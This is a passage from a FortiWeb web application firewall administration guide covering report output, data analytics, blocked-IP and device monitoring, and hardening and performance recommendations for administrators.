Not Scheduled	Select if you do not want the FortiWeb appliance to generate the report automatically according to a schedule. If you select this option, the report will only be generated on demand, when you manually click the Run now icon from the report profile list.
Daily	Select to generate the report each day. Also configure Time .
These Days	Select to generate the report on specific days of each week, then mark the check boxes for those days. Also configure Time .
These Dates	Select to generate the report on specific date of each month, then enter those date numbers. Separate multiple date numbers with a comma. Also configure Time. For example, to generate a report on the first and 30th day of every month, enter 1, 30.
Time	Select the time of the day when the report will be generated. This option does not apply if you have selected Not Scheduled.

5. Click **OK**.

Selecting the report's file type & delivery options

When you configure a report profile, you can select one or more file formats in which to save reports generated from the profile. You can also configure the FortiWeb appliance to email the reports to specific recipients or send

them to an FTP or TFTP server.

To start at the beginning the report configuration instructions, see ["To configure a report profile"](#) on page 720.

1. Go to **Log&Report > Report > Report Config**.
2. Click **Create New** or select an existing **Report Config**.
3. Expand the **Output** section.
4. Configure these settings:

File Output	Enable file formats that you want to generate and store on the FortiWeb appliance's hard drive. FortiWeb always generates HTML file format reports (as indicated by the permanently enabled check box), but you can also choose to generate reports in: • PDF • MS Word (RTF) • plain text (Text), and • MIME HTML (MHT, which can be included in email)
Email Output	Enable file formats that you want to generate for an email that will be mailed to the recipients defined by the email settings.
Email Policy	Select the predefined email settings that you want to associate with the report output. This determines who receives the report email. For details about configuring email settings, see "Configuring email settings" on page 712.
Email Subject	Type the subject line of the email.
Email Body	Type the message body of the email.
Email Attachment Name	Type a file name that will be used for the attached reports.
Compress Report Files	Enable to enclose the generated report formats in a compressed archive, as a single attachment.
FTP/TFTP Output	Select the formats for files that FortiWeb sends to the FTP or TFTP server specified by FTP/TFTP Policy .
FTP/TFTP Policy	Select the policy that defines a connection to the appropriate server. For details, see "Configuring FTP/TFTP policies" on page 704.

5. Click **OK**.

Viewing & downloading generated reports

Log&Report > Report Browse > Report Browse displays a list of generated reports that you can view, delete, and download.



In FortiWeb HA clusters, generated reports (PDFs, HTML, RTFs, plain text, or MHT) are recorded on their originating appliance. If you cannot locate a report that should have been generated, a failover may have occurred. Reports generated during that period will be stored on the other appliance. To view those reports, switch to the other appliance.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Log & Report** category. For details, see "[Permissions](#)" on page 85.

Log&Report > Report > Report Browse

 Delete  Refresh		« < 1 > »			
☐	Report Files	Started	Finished	Size (bytes)	Other Formats
☒	 Scheduled Report 2-2017-04-13-0254	Thu Apr 13 02:54:32 2017	Thu Apr 13 02:54:35 2017	126,234	PDF
	PCI			8,939	PDF
	Traffic			21,594	PDF
	Attack			55,631	PDF
	Event			40,070	PDF
☐	 On-Demand-Report 1-2017-04-13-0250	Thu Apr 13 02:50:27 2017	Thu Apr 13 02:50:31 2017	131,180	

Refresh

(icon)

Click to refresh the display with the current list of completed, generated reports.

Rename

(icon)

Select the check box next to a report and click **Rename** to rename it.

Report Files

Displays the name of the generated report, the date and time at which it was generated, and, if necessary to distinguish it from other reports generated at that time, a sequence number.

For example, `Report_1-2008-03-31-2112_018` is a report named "Report_1", generated on March 31, 2008 at 9:12 PM. It was the nineteenth report generated at that date and time (the first report generated at that time did not have a sequence number).

To view the report in HTML format, click the name of the report. The report appears in a pop-up window.

To view only an individual section of the report in HTML format, click the blue triangle next to the report name to expand the list of HTML files that comprise the report, then click one of the file names.

Started

Displays the data and time when the FortiWeb appliance started to generate the report.

Finished	Displays the date and time when the FortiWeb appliance completed the generated report.
Size (bytes)	Displays the file size in bytes of each of the HTML files that comprise an HTML-formatted report. This column is empty for the overall report, and contains sizes only for its component files. To see the component files, click the blue expansion arrow.
Other Formats (links)	Click the name of an alternative file format, if any were configured to be generated by the report profile, to download the report in that file format.

See also

- ["Configuring logging"](#) on page 693
- ["Reports"](#) on page 720
- ["Data analytics"](#) on page 730

Data analytics

In addition to log-based reports, FortiWeb also includes data analytics to help you track web server usage from a page hit, traffic volume, and attack point of view.

See also

- ["Sequence of scans"](#) on page 56
- ["Reports"](#) on page 720

Configuring policies to gather data

Before data analytics can provide meaningful information, you must:

1. Upload a geographic location data file. For details, see ["Updating data analytics definitions"](#) on page 731.
2. Enable the Data Analytics option on any inline protection or Offline Protection profile used by your server policies. For details, see ["Configuring a protection profile for inline topologies"](#) on page 261 or ["Configuring a protection profile for an out-of-band topology or asynchronous mode of operation"](#) on page 270
3. Wait for the appliance to collect data about traffic flows.

See also

- ["Configuring a protection profile for inline topologies"](#) on page 261
- ["Configuring a protection profile for an out-of-band topology or asynchronous mode of operation"](#) on page 270
- ["Updating data analytics definitions"](#) on page 731
- ["Viewing website statistics"](#) on page 731
- ["Reports"](#) on page 720

Updating data analytics definitions

Similar to other signatures and definitions used by FortiWeb, you can update the geographical mappings of public IP addresses to countries used by the data analytics feature.

To update data analytics definitions

1. Download the `.dat` file from the Fortinet Technical Support website:

<https://support.fortinet.com/>

If you want to check the integrity of the `.dat` file, also download its checksum (`.md5`). For instructions on how to use it, see the documentation for your checksum software.

2. Go to **System > Maintenance > Backup & Restore**.

To access this submenu, your administrator's account access profile must have **Read** and **Write** permission to items in the **Maintenance** category. For details, see "[Permissions](#)" on page 85.

3. In the **Data Analytics** area, click **Choose File**.

4. Select the `.dat` file.

5. Click **Open**.

The file name appears in the **From File** field.

6. Click **Upload**.

Your browser uploads the file. A message appears to display the progress of the upload. Time required varies by the size of the file and the speed of your network connection.

See also

- "[Configuring policies to gather data](#)" on page 730
- "[Viewing website statistics](#)" on page 731
- "[Reports](#)" on page 720

Viewing website statistics

Monitor > Data Analytics displays statistics on traffic from clients internationally, web page hits, and attacks.

The data analytics feature can be resource-intensive. To avoid impacting performance, view the data analytics report in off-peak hours.

Clients' locations are determined by source IP address, which is then mapped to its current known location:

- **A country/region, state, and city**—Public IP addresses that are known to belong to routers in a specific physical location.
- **Undetermined City/State**—An IP address where the exact city and/or state could not be determined. This appears when zooming in to view a country. An IP with an undetermined city/state can occur if complete, precise location data is not available, or perhaps if the IP address belongs to multiple regions such as can occur in border regions.
- **Internal IPs**—10.*, 172.16.*, or 192.168.* addresses that are reserved for private networks according to RFC 1918 (<https://tools.ietf.org/html/rfc1918>), and therefore might be located anywhere on the planet.



To make sure that the mappings are correct, you should periodically update FortiWeb's geography-to-IP mappings. For details, see ["Updating data analytics definitions"](#) on page 731.

If all client IP addresses appear to originate on private networks ("Internal IPs") and especially from a single IP, SNAT may be interfering and you may need to configure FortiWeb to deduce the client's location using X-headers instead. For details, see ["Defining your proxies, clients, & X-headers"](#) on page 421.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Log & Report** category. For details, see ["Permissions"](#) on page 85.

Data analytics organizes the data collected by server policies into two distinct cross-sections. Click the buttons on the top right corner to toggle between:

- **Geographic Location View**—Displays data per clients' geographical location (e.g. Canada, China, Portugal, Morocco, Brazil, Australia, etc.) in graphical format.

While this view is selected, a format toggle appears below the view toggle. The format toggle allows you to choose what will accompany the data analytics charts: either **List** (for a table of statistics by country) or **Map** (for a map of the Earth). To display the statistics for a country/region, hover your mouse cursor over it. The statistics will appear in a tool tip.

If you click a specific country/region on the map of the Earth, the map will zoom in to show the states within that area. Similar to the view of the entire Earth, to display statistics for a sub-region, hover your mouse cursor over it. The statistics appear in a tool tip.



If traffic from a country is predominantly attacks instead of legitimate requests, you can block it. For details, see ["Blacklisting & whitelisting countries & regions"](#) on page 488.

Select either:

- **Hit**—Display the number of legitimate page hits, and percentage of total requests, originating from each country.
In the unlabeled column to the right of the **Percentage** column, icons indicate the range of percentage by color-coded dots:
Red—Greater than 12%
Orange—9% - 12%
Yellow—6% - 9%
Blue—3% - 6%
Green—0% - 3%
- **Data**—Display the traffic volume in bytes, and percentage of total requests, originating from country.
- **Attack**—Display the attack count, and percentage of total requests, originating from each country.
- **Web Site View**—Displays data about the popular URLs and commonly attempted attacks on your websites in graphical format. The page includes a pie chart (if there is data available) and two panels with bar graphs.



Geographic location is based upon the apparent origin according to the source IP address of the request. Accuracy may vary due to network address translation (NAT) and/or clients' use of proxies such as Tor and IPsec, SSH, or other VPN tunnels which alter the source IP address in packets and therefore can cause clients' traffic to appear to originate from a location other than their actual location.

From the **Type** drop-down lists, select either:

- **Hit**—Display the top 10 countries of origin for legitimate page hits.
- **Data**—Display the top 10 countries of origin for traffic volume.
- **Attack**—Display the top 10 countries of origin for attacks.

In the **Top 10 Panel**, from the **Category** drop-down list, select either:

- **Host**—Display the top 10 domain names by hits, attacks, or traffic volume (depending on your selection in **Type**).
- **URL**—Display the top 10 URLs by hits, attacks, or traffic volume (depending on your selection in **Type**).

In the **Time Trend Panel**, from the **Time Interval** drop-down list, select a time interval (e.g., **1 Week**), then click the **Pre Period** (previous) and **Next Period** buttons to advance by that interval through the time span that you have selected in either **Time Range** or your custom data filter.

For example, if **Type** is **Attack** and **Category** is **Host**, the panel displays the 10 domains that received the most attack attempts. Let's say that a trend of attacking www.example.com is consistent over time. (You could confirm this suspicion in the **Time Trend Panel**.) This could represent either an advanced persistent threat (APT)—an attacker that is an adversary of that specific organization, and likely to continue and attempt more evolved threats until she or he discovers a viable exploit—or it could simply be an attack attempt because security-wise, that specific web server is an easy target.

Attacks on weak hosts might be discouraged by applying patches, cloaking the web server, configuring server protection rules on FortiWeb to mitigate the host's weaknesses, etc. An APT however, indicates a collectively greater risk than a lone attack attempt against a weak host, and will likely continue regardless of increasing attack difficulty. If you determine that the attacker(s) is an APT, you might decide to devote more resources to protecting that web server, including a full web application source code and security practice audit, as well as configuring anti-defacement.

Both cross-sections have common controls:

- Click **Refresh** to re-populate the graphs with the most recent data. The web UI displays data current at the time of the most recent refresh or page load. It does not continuously update.
- Click **Generate PDF** to download a PDF copy of the current statistics.
- Select either:
 - **Custom-defined**—Define the domain name (**Host :**), URL, policy name, and/or time span to include matching statistics. For details, see ["Filtering the data analytics report"](#) on page 734.
 - **Pre-defined**—Choose a time span from the **Time Range** drop-down list to view its statistics.

See also

- ["Updating data analytics definitions"](#) on page 731
- ["Configuring policies to gather data"](#) on page 730
- ["Filtering the data analytics report"](#) on page 734
- ["Reports"](#) on page 720

Filtering the data analytics report

By default, in **Filter Type**, the **Pre-defined** option is selected, and so the data analytics reports include statistics based solely upon one of a few pre-defined time periods, which you can select from **Time Range**.

However, you can define your own time span, as well as filter statistics based upon criteria other than time.

To create a custom statistical filter

1. Go to **Monitor > Data Analytics**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Log & Report** category. For details, see "[Permissions](#)" on page 85.

2. Select the view to use: **Web Site View** or **Geographic Location View**.

3. From **Filter Type**, select the **Custom-defined** option.

4. Click **Filter**.

5. Configure the following criteria, if any, that a statistic must match in order to be included in the report:

Policy	Type the name of a server policy that is gathering data for data analytics. It must use a profile where you have enabled Data Analytics (page 269). Otherwise, it will not include any statistics.
Host	Type a domain name or IP address in the <code>Host :</code> field of the HTTP header of requests.
URL	Type a URL. It usually should be a web page that initiates a session. Session-initiating URL hit counts may more closely correlate to visit counts. For example, web application preference pages are seldom visited in a session.
Case Sensitivity	Enable to differentiate uniform resource locators (URLs) and <code>Host :</code> HTTP header fields according to upper case and lower case letters. For example, when this option is enabled, an HTTP request involving <code>http://www.Example.com/index</code> would not match if Host (page 734) is <code>www.example.com</code> and URL (page 734) is <code>/index</code> (difference is lower case "e").
Use Time Filter	Enable to use only statistics within a specific time period, defined by From (page 734) and To (page 734).
From	Click the calendar icon or its accompanying text field to define the date at the beginning of the time period, then select the Hour , Minute , and Second to define the time of day.
To	Click the calendar icon or its accompanying text field to define the date at the end of the time period, then select the Hour , Minute , and Second to define the time of day.

6. Click **OK**.

The page refreshes and displays data restricted by the new filter. The filter applies until you either:

7. In **Filter Type**, choose **Pre-defined**, then select a predefined **Time Range**.
8. Clear the filter by clicking the **Filter** button to raise the dialog again.
9. Click **Reset**.
10. Click **OK**.

See also

- ["Viewing website statistics"](#) on page 731

Bot analysis

Log&Report > Monitor > Bot Analysis displays statistics on access by automated clients such as search engine indexers, content scrapers, and other tools. Statistics are gathered by **Bot Recognition** (page 606) in anti-DoS rules, **Bad Robot** (page 512) and **Allow Known Search Engines** (page 268). Based on this data, if an automated tool is abusing access, you can configure rate limiting such as with ["Combination access control & rate limiting"](#) on page 480.

See also

- ["Bot Recognition"](#) on page 612

Monitoring currently blocked IPs

Monitor > Blocked IPs displays all client IP addresses whose requests the FortiWeb appliance is temporarily blocking because the client violated a rule whose **Action** (page 507) is **Period Block**. Since at any given time a period block might be applied by one server policy but **not** by another, client IPs are sorted by and listed under the names of server policies.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Log & Report** category. For details, see ["Permissions"](#) on page 85.

If a client was inadvertently blocked due to a false positive, you can immediately release it from being blocked by clicking the **Delete** icon next to its entry in the table. If it is being blocked by multiple policies, you should delete the client's entry under **each** policy name. Otherwise, the client may still be blocked by some policies.

Alternatively, the IP address will automatically be removed from the list when its block period expires.



If a client frequently is correctly added to the period block list, and is a suspected attacker, you may be able to improve both security and performance by permanently blacklisting that source IP address. For details, see ["Blacklisting & whitelisting clients using a source IP or source IP range"](#) on page 490 and ["Sequence of scans"](#) on page 56.

If the client is **not** an attacker, in addition to removing his or her IP from this list, you may need to adjust the configuration that caused the period block, such as adjusting DoS protection so that it does not block normal request rates. Otherwise, the client may quickly reappear in the period block list.

See also

- "Blacklisting & whitelisting clients using a source IP or source IP range" on page 490
- "Configuring a protection profile for inline topologies" on page 261
- "Configuring a protection profile for an out-of-band topology or asynchronous mode of operation" on page 270

Monitoring currently tracked devices

To begin tracking a client device that triggered a security violation, FortiWeb generates a unique Client Device ID according to a set of its characteristics, including the time zone, source IP, operating system, browser, language, CPU, color depth, and screen size. When a Client Device ID is assigned to a device, FortiWeb also begins tracking that device's last access date and historical threat weight. It is possible to monitor each device that FortiWeb tracks in the web UI.

To manage the monitoring of currently tracked devices

Go to **Monitor > Client Device Management**.

Delete Data

Add Filter

#	Client Device ID	Last Access Date	Time Zone	Source IP	OS Type	Browser Type	Language	CPU	Color Depth	Screen Size	Historical Threat Weight	Enable Block	Canvas	WebGL
1	3d7ff300a8a16eb2-9a50cc0d8223b9a0	08:13:31	N/A	N/A	N/A	N/A	N/A	N/A	N/A	N/A	8388607	True	N/A	N/A
2	c9e5680042f64a1b-9a50cc0d8223b9a0	08:13:30	N/A	N/A	N/A	N/A	N/A	N/A	N/A	N/A	8388607	True	N/A	N/A
3	bc1ec014900c63e4-9a50cc0d8223b9a0	08:13:29	N/A	N/A	N/A	N/A	N/A	N/A	N/A	N/A	8388607	True	N/A	N/A
4	47474ae77d61194c-9a50cc0d8223b9a0	08:13:29	N/A	N/A	N/A	N/A	N/A	N/A	N/A	N/A	8388607	True	N/A	N/A
5	ad04238053ca43af-9a50cc0d8223b9a0	08:13:29	N/A	N/A	N/A	N/A	N/A	N/A	N/A	N/A	8388607	True	N/A	N/A

Currently tracked client devices can be sorted and filtered according to the following characteristics:

(Refresh Button)

Click to update the page with any logs that have been recorded since you previously loaded the page

Delete Data

Click to select a range of log data to permanently delete.

Add Filter

Click to create a filter among the following characteristics:

- Browser Type
- Client Device ID
- Color Depth
- CPU
- Historical Threat Weight
- Language
- Last Access Date
- OS Type
- Screen Size
- Source IP
- Time Zone

(drag and drop column heading)

Change the order in which columns are displayed.

(right-click column)

Access settings that add or hide columns, reset to the default columns, or

heading)	remove all filters.
Client Device ID	The unique ID assigned to the device based on its physical characteristics when a device profile is created upon triggering a security violation.
Last Access Date	The date of the most recent event triggered by the device. This is updated when: • A unique ID is assigned to the device when a device profile is created • FortiWeb periodically updates characteristics of the device based on its unique ID • The device triggers a security violation Note: If the threat weight of a security violation is set to OFF, the last access date will not be updated when the device triggers that security violation.
Time Zone	The time zone the device is set to at the time of the last access date.
Source IP	The device's IP address at the time of the last access date.
OS Type	The device's operating system at the time of the last access date.
Browser Type	The browser the device used at the time of the last access date.
Language	The device's language at the time of the last access date.
CPU	The device's central processing unit at the time of the last access date.
Color Depth	The number of bits the devices uses to indicate the color of individual pixels at the time of the last access date.
Screen Size	The device's screen size at the time of the last access date.
Historical Threat Weight	The sum of the threat weights of all the security violations launched by the device at the time of the last access date. This indicates the total risk of the device defined in the selected device reputation security policy.
Canvas	The device's canvas fingerprinting digital token at the time of the last access date.
WebGL	The device's WebGL fingerprinting digital token at the time of the last access date.

FortiGuard updates

One of the most important things you can do is to ensure that your FortiWeb is receiving regular updates from the FortiGuard FortiWeb Web Security service and FortiGuard Antivirus service.

Without these updates, your FortiWeb cannot detect the newest threats.

Event logs record FortiGuard update attempts. In addition to scheduling polls for automatic updates, you can also manually update the service packages or initiate a connectivity test to the FDN at any time. For details, see ["Connecting to FortiGuard services"](#) on page 187.

To keep informed about the latest security threats and news, visit:

<http://www.fortiguard.com>

Vulnerability scans

After your initial deployment, it is a good idea to periodically scan your web servers for newly discovered vulnerabilities to current threats. If you discover new threats, adjust your configuration to combat them.

Without periodic scans, you may not be aware of the newest threats, and you may not have configured your FortiWeb defend against them.

For details, see ["Vulnerability scans"](#) on page 650.



If you have many web servers, you may want an appliance to:

- Integrate and automate patch deployment
- Deepen vulnerability scans
- Prioritize and track fixes via ticketing
- Offload and distribute scans to improve performance and remove bottlenecks

Fine-tuning & best practices

This topic is a collection of fine-tuning and best practice tips and guidelines to help you configure your FortiWeb appliances for the most secure and reliable operation.

While many features are optional or flexible such that they can be used in many ways, some practices are generally a good idea because they reduce complication, risk, or potential issues.



This section includes **only** recommendations that apply to a combination of multiple features, to the entire appliance, or to your overall network environment.

For feature-specific recommendations, see the tips in each feature's instructions.

Hardening security

FortiWeb is designed to enhance the security of your websites and web applications, and when fully configured, it can automatically plug holes commonly used by attackers to compromise a system.

This section lists tips to further enhance security.

Topology

- To protect your web servers, install the FortiWeb appliance or appliances between the web servers and a general purpose firewall such as a FortiGate. FortiWeb **complements, and does not replace, general purpose firewalls**. FortiWeb appliances are designed specifically to address HTTP/HTTPS threats; general purpose firewalls have more features to protect at lower layers of the network.
- Make sure web traffic cannot bypass the FortiWeb appliance in a complex network environment.
- Define the IP addresses of other trusted load balancers or web proxies to prevent spoofing of HTTP headers such as `X-Forwarded-For:` and `X-Real-IP:`. For details, see ["Defining your proxies, clients, & X-headers"](#) on page 421.
- Disable all network interfaces that should not receive any traffic.

For example, if administrative access is typically through port1, the Internet is connected to port2, and web servers are connected to port3, you would disable ("bring down") port4. This would prevent an attacker with physical access from connecting a cable to port4 and thereby gaining access if the configuration inadvertently allows it.

Disabling port2 in System > Network > Interface



Name	Members	IPv4	IPv4 Access	Status	Link Status	Type	Ref.
Physical (10)							
port1		192.168.1.99/24	HTTPS PING SSH SNMP HTTP TELNET FortiWeb Manager	Bring Down	Up	Physical	0
port2		192.168.1.98/32	HTTPS PING SSH SNMP HTTP TELNET	Bring Down	Up	Physical	2
port3		0.0.0.0/0	HTTPS PING SSH SNMP HTTP TELNET	Bring Down	Up	Physical	0
port4		0.0.0.0/0		Bring Down	Up	Physical	0
port5		0.0.0.0/0		Bring Down	Up	Physical	0
port6		0.0.0.0/0		Bring Down	Up	Physical	0
port7		0.0.0.0/0		Bring Down	Up	Physical	0
port8		0.0.0.0/0		Bring Down	Up	Physical	0
port9		0.0.0.0/0		Bring Down	Up	Physical	0
port10		0.0.0.0/0		Bring Down	Up	Physical	0

Administrator access

- As soon as possible during initial FortiWeb setup, give the default administrator, `admin`, a password. This **super-administrator** account has the highest level of permissions possible, and access to it should be limited to as few people as possible.
- Change all administrator passwords regularly. Set a policy—such as every 60 days—and follow it. You can click the **Edit Password** icon to reveal the password dialog.
- Instead of allowing administrative access to the FortiWeb appliance from any source, restrict it to trusted internal hosts. (IPv6 entries of `::/0` will be ignored, but you should configure all IPv4 entries.) For details, see ["Trusted hosts"](#) on page 88. On those computers that you have designated for management, apply strict patch and security policies. Always password-encrypt any FortiWeb configuration backup that you download to those computers to mitigate the information that attackers can gain from any potential compromise. See also ["Encryption Password"](#) on page 326.
- Do not use the default administrator access profile for all new administrators. Create one or more access profiles with limited permissions tailored to the responsibilities of the new administrator accounts. For details, see ["Configuring access profiles"](#) on page 333.
- By default, an administrator login that is idle for more than five minutes times out. You can change this to a longer period in **Idle Timeout** (page 90), but Fortinet does not recommend it. Left unattended, a web UI or CLI session could allow anyone with physical access to your computer to change FortiWeb settings. Small idle timeouts mitigate this risk.
- Administrator passwords should be at least 8 characters long and include both numbers and letters. For additional security, use **Enable Strong Passwords** (page 91) to force the use of stronger passwords. For details, see ["Global web UI & CLI settings"](#) on page 89.

Change Password dialog in System > Admin > Administrators

Edit Password

Administrator	auditor1
New Password	••••••••••
Confirm Password	••••••••••

OK Cancel

Create New dialog in System > Admin > Administrators

New Administrator

Administrator	auditor1
Type	Local User ▼
Password	••••
Confirm Password	••••
IPv4 Trusted Host #1	192.0.2.5/32
IPv4 Trusted Host #2	192.0.2.5/32
IPv4 Trusted Host #3	192.0.2.5/32
IPv6 Trusted Host #1	::/0
IPv6 Trusted Host #2	::/0
IPv6 Trusted Host #3	::/0
Access Profile	auditor ▼

OK Cancel

Strengthening passwords and the idle timeout System > Admin > Settings**Administrators Settings****Web Administration Ports**

HTTP	80
HTTPS	443
HTTPS Server Certificate	defaultcert
Config-Sync	995

Timeout Settings

Idle Timeout (1-480 mins)

Language

Web Administration

Security Settings

☒ Disable SSLv3 for Web Administration

☐ Enable Single Admin User login

☐ Enable HTTPS Certificate Login

☒ Enable Strong Passwords

Strong password rule:

1. Between 8-16 characters
2. Minimum of one upper case and one lower case
3. Minimum of one numeric
4. Minimum of one non alphanumeric character

Apply

Restrict administrative access to a single network interface (usually port1) and allow only the management access protocols needed in System > Network > Interface

Edit Interface

Name
port2 (00:0C:29:67:1E:99)

Addressing mode
Manual DHCP

IPv4/Netmask
192.168.1.98/32

IPv4 Administrative Access
☐ HTTPS
☒ PING
☐ HTTP
☐ SSH
☐ SNMP
☐ TELNET
☐ FortiWeb Manager

IPv6 Addressing mode
Manual DHCP

IPv6/Netmask
::/0

IPv6 Administrative Access
☐ HTTPS
☒ PING
☐ HTTP
☐ SSH
☐ SNMP
☐ TELNET
☐ FortiWeb Manager

Description (199 characters)

OK Cancel

Use only the most secure protocols. Disable [PING](#), except during troubleshooting. Disable [HTTP](#), [SNMP](#), and [TELNET](#) unless the network interface only connects to a trusted, private administrative network. For details, see "[Configuring the network interfaces](#)" on page 164.

Restricting accepted administrative protocols in the Edit Interface dialog in System > Network > Interface

- Disable all network interfaces that should not receive any traffic.
For example, if administrative access is typically through port1, the Internet is connected to port2, and web servers are connected to port3, you would disable ("bring down") port4. This would prevent an attacker with physical access from connecting a cable to port4 and thereby gaining access if the configuration inadvertently allows it.
- Similar to applying trusted host filters to your FortiWeb administrative accounts, apply URL access control rules to limit potentially malicious access to the administrative accounts of each of your web applications from untrusted networks. For details, see "[Restricting access to specific URLs](#)" on page 475.

User access

- Authenticate users only over encrypted channels such as HTTPS, and require mutual authentication—the web server or FortiWeb should show its certificate, but the client should **also** authenticate by showing its certificate.

Password-based authentication is less secure than PKI authentication. For certificate-based client authentication, see ["How to apply PKI client authentication \(personal certificates\)"](#) on page 454. For certificate-based server/FortiWeb authentication, see ["How to offload or inspect HTTPS"](#) on page 439.

- Immediately revoke certificates that have been compromised. If possible, automate the distribution of certificate revocation lists. For details, see ["Revoking certificates"](#) on page 471.

Signatures & patches

- Upgrade to the latest available firmware to take advantage of new security features and stability enhancements. For details, see ["Updating the firmware"](#) on page 120.
- Use FortiWeb services to take advantage of new definitions for viruses, predefined robots, data types, URL patterns, disreputable clients, and attack signatures.
- Update methods can be either:
 - Manual (see ["Uploading signature & geography-to-IP updates"](#) on page 197 or ["Manually initiating update requests"](#) on page 196)
 - Automatic (see ["Scheduling automatic signature updates"](#) on page 194)

System > Config > FortiGuard

- Regularly update FortiWeb FortiGuard Subscription Services.
- Schedule updates often.

Buffer hardening

While analyzing traffic, FortiWeb's HTTP parser must extract and buffer each part in the request or response. The buffer allows FortiWeb to scan and/or rewrite it before deciding to block or forward the finished traffic. Buffers are not infinite—due to the physical limitations inherent in all RAM, they are allocated a maximum size. If the part of the request or response is too large to fit the buffer, FortiWeb must either pass or block the traffic without further analysis of that part.

Practically speaking, while oversized requests are not common, when they do exist, they may be harmless. Movie uploads are a common example. HTTP `GET` requests involving many database queries with encrypted values are another example. In these cases, hardening the buffer could result in many false positives during normal use. Such false positives are to be avoided because the flood of information could distract you from real attacks.

In terms of attacks, large DoS attacks from a single attacker are impractical: if the attacking host must consume its own bandwidth or CPU faster than the web server can process it, the attack won't work. Therefore DoS request traffic is unlikely to be oversized.

Determined attackers, though, often craft oversized requests to mask an exploit. Tactics to pad an attack with harmless data in order to push the payload beyond the scan buffer are popular with more knowledgeable and motivated APT attackers, and with black hat researchers crafting exploit packages for Metasploit and other tools that ultimately land in the hands of script kiddies. Similar to buffer overflow attacks, these padded attacks attempt to bypass and exploit inherent limits. If a request cannot fit into the buffer, it might be a padded attack.

If your web applications do not require oversized requests to work, you can toughen security by blocking oversized requests. Configure HTTP constraints with [Malformed Request](#) (page 574) etc. For details, see ["HTTP/HTTPS protocol constraints"](#) on page 568. Also configure exceptions for URLs that require you to ignore the buffer limitations, such as music or movie uploads.

To determine your appropriate HTTP constraints, first observe your normal traffic. Compare it with FortiWeb's buffer counts and maximum sizes.

FortiWeb buffer configuration

Buffer	Limit	Block oversized requests using
URL size, excluding appended parameters and the parameter delimiter (?) (e.g. /path/to/app)	Usually 2 KB	Malformed Request (page 574)
URL parameters' total size	Buffer	Total URL Parameters Length (page 570)
URL parameter's individual size	Configurable. See <code>http-cachesize</code> in the <i>FortiWeb CLI Reference</i> (http://docs.fortinet.com/fortiweb/reference).	Malformed Request (page 574)
Number of parameters	64	Malformed Request (page 574)
HTTP header lines' total size	4 KB	Header Length (page 569)
HTTP header line's individual size	Buffer	Total URL Parameters Length (page 570)
Number of HTTP header lines	32	Number of Header Lines in Request (page 572)
Cookies' total size	2 KB	Malformed Request (page 574)
Number of cookies	32	Number of Cookies In Request (page 574)
Adobe Flash (AMF) parameters' total size	Buffer	Total URL Parameters Length (page 570)
Number of Adobe Flash (AMF) parameters	32	Malformed Request (page 574)
File uploads' total size	Buffer	Body Length (page

Buffer	Limit	Block oversized requests using
		574)
Number of file uploads	8	Malformed Request (page 574)



Other buffers also exist. Their limitations, however, vary dynamically.

Enforcing valid, applicable HTTP

- If your web server does not require anything other than `GET` or `POST`, disable unused HTTP methods to reduce vectors of attack. For details, see ["Specifying allowed HTTP methods"](#) on page 564.
- Enforce RFC compliance and any limitations specific to your back-end web servers or applications to defeat exploit attempts. For details, see ["HTTP/HTTPS protocol constraints"](#) on page 568 and ["Limiting file uploads"](#) on page 590.

Sanitizing HTML application inputs

Most web applications are not written with security in mind, and do not correctly sanitize input. Before a signature or patch is available, you can still block new input-related attacks by rejecting all invalid input that could potentially break the intended behavior of ASP, PHP, JavaScript or other applications. For details, see ["Validating parameters \("input rules"\)"](#) on page 553 and ["Preventing tampering with hidden inputs"](#) on page 560.

Improving performance

When you configure your FortiWeb appliance and its features, there are many settings and practices that can yield better performance.

System performance

- Delete or disable unused policies. FortiWeb allocates memory with each server policy, regardless of whether it is actually in active use. Configuring extra policies unnecessarily consumes memory and decreases performance.
- To reduce latency associated with DNS queries, use a DNS server on your local network as your primary DNS. For details, see ["Configuring DNS settings"](#) on page 185.
- If your network's devices support them, you can create one or more VLAN interfaces. VLANs reduce the size of a broadcast domain and the amount of broadcast traffic received by network hosts, which improves network performance. For details, see ["Adding VLAN subinterfaces"](#) on page 167.
- If you have enabled the server health check feature as part of a server pool and one of the pool members is down for an extended period, you can improve the performance of your FortiWeb appliance by disabling the physical server, rather than allowing the server health check to continue checking for the server's responsiveness. For details, see ["Configuring server up/down checks"](#) on page 390.
- Use the least intensive, earliest possible scan to deflect attacks. For details, see ["Sequence of scans"](#) on page 56.

- Use **Period Block** if possible as the **Action** (page 607) setting for DoS protection rules. This setting allows FortiWeb to conserve scanning resources that are under heavy demand during a DoS or DDoS attack.

Antivirus performance

- Disable scanning of BZIP2 if it is not necessary.
- Reduce the scanning buffer to the minimum necessary.
- Reduce the number of redundant levels of compression that FortiWeb will scan. Normally, people will not put a ZIP file within a ZIP file, because it is inconvenient to open and does not offer significant compression ratio improvements. Nested compression is usually used by viruses to bypass antivirus scanners.

Regular expression performance tips

- **Use a simple string instead if possible.** Generally, regular expressions should only be used when defining all matching text requires a complex pattern. Regular expressions such as:

```
^.*\/index\.html$
```

- are usually more computationally intensive than a literal string comparison such as:

```
/index.html
```

- **Reduce evaluation complexity.**

For example, when using auto-learning to discover if street addresses are a valid input, scanning for postal codes or state abbreviations instead may dramatically improve performance. A pattern to fully match all possible street addresses is significantly more complex, involving many more computations, and the most difficult addresses to verify might be complex enough to impact traffic throughput.

Short regular expressions can sometimes be more complex to compute. Don't look at the number of characters in the regular expression. Instead, think of both the usual and worst possible case in the match string: the maximum number of characters that must be compared to the pattern before a match can be verified or not.

The usual case will tell you the average CPU and RAM load. The worst case will tell you if your regular expression could sometimes cause potential hang-like conditions, temporarily blocking traffic throughput until it finishes evaluating.



If the worst possible match string is short and not complex to match, the regular expression may not be worth your time to optimize.

If missed matches are an acceptable performance trade-off (for example, if matching 99% of cases is efficient, but matching 100% of cases would require deep recursion), or if you do not need to match the whole text, remove the unnecessary part of the regular expression.

For example, if a phone number always resembles 555-5555, your regular expression would not have to accommodate cases where a space separates the numbers, or it is prefixed by a country code. This is less comprehensive, but also less CPU-intensive.

- **Avoid backtracking** (i.e. revisiting the match string after failing to match part of the pattern). Backtracking occurs when regular expression features use recursion (definite or indefinite). **This can increase execution time exponentially.** Examples include the following:
 - **Avoid nested parentheses with indefinite repeats** such as:

```
^( (a+) b+ ) *
```

